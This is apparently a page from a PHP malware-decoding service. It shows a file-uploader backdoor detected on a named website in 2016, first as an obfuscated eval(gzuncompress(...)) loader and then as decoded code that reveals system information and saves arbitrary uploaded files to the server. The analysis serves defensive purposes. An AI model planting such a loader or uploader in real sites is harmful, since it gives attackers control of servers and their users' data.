Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<!-- Detected: 2016.11.02 on southeastconnection.ca Description: File uploader script -..

Decoded Output download

<!--
	Detected: 2016.11.02 on southeastconnection.ca 
	Description: File uploader script
-->

<!-- Original Code -->
<?php eval(gzuncompress("xRn0=/@.M{l@KrT,nm/e%%BR||(6P&nIk+TTMX2P
V4VXz,
a2Cx%gMs]$Z$i:zvRsBixxZ<{tK	h3vbNtxqjCDnU#<O
^xc'>;V|G4WD9'|2-?+z4a8W7"t7,h}hc1_UJpnEe>uWFE|09	nZ1	vSna "D=_#|];N")); ?>

<!-- Unminified/compressed code -->
<?php
echo '<html>
	<head>
		<title>This shit works!</title>
	</head>
	<body>
		<h1><p><b> Form for upload! </b></p></h1>
		<h2><p>';
			echo (php_uname());
		echo '</p></h2>
		<form action="'; $_SERVER['PHP_SELF']; echo '" method="post" enctype="multipart/form-data">
			<input type="file" name="filename"><br /> 
			<input type="submit" value="Upload!"><br />
		</form>';

		if (isset($_FILES['filename'])) {
			if ($_FILES["filename"]["size"] > 1024 * 3 * 1024) {
				echo ("File too large (more than 3Mb)");
				exit;
			}

			if (is_uploaded_file($_FILES["filename"]["tmp_name"])) {
				move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
				echo ("<br />Done!<br />");
			} else {
				echo ("<br />Error! " . $php_errormsg . "<br />");
			}
		};
	echo '</body>
</html>'; ?>

Did this file decode correctly?

Original Code

<!--
	Detected: 2016.11.02 on southeastconnection.ca 
	Description: File uploader script
-->

<!-- Original Code -->
<?php eval(gzuncompress("xRn0\x0c=/@.M{l@KrT,nm/e%%BR||(6P&nIk\x00+TTMX2P\x0aV4VXz,\x0aa2Cx%gMs]\x24Z\x24i:zvRsBixxZ<{tK\x09h3vbNtxqjCDnU#<O\x0a^xc'>;V|\x0cG4WD9'|2-?+z4a8W7\x22t7\x0c,h}hc1_UJpnEe>uWFE|09\x09nZ1\x09vSna \x22D=_#|];N")); ?>

<!-- Unminified/compressed code -->
<?php
echo '<html>
	<head>
		<title>This shit works!</title>
	</head>
	<body>
		<h1><p><b> Form for upload! </b></p></h1>
		<h2><p>';
			echo (php_uname());
		echo '</p></h2>
		<form action="'; $_SERVER['PHP_SELF']; echo '" method="post" enctype="multipart/form-data">
			<input type="file" name="filename"><br /> 
			<input type="submit" value="Upload!"><br />
		</form>';

		if (isset($_FILES['filename'])) {
			if ($_FILES["filename"]["size"] > 1024 * 3 * 1024) {
				echo ("File too large (more than 3Mb)");
				exit;
			}

			if (is_uploaded_file($_FILES["filename"]["tmp_name"])) {
				move_uploaded_file($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
				echo ("<br />Done!<br />");
			} else {
				echo ("<br />Error! " . $php_errormsg . "<br />");
			}
		};
	echo '</body>
</html>';

Function Calls

gzuncompress 1

Variables

None

Stats

MD5 171a77741be0ce3b303f761b0f06a770
Eval Count 0
Decode Time 141 ms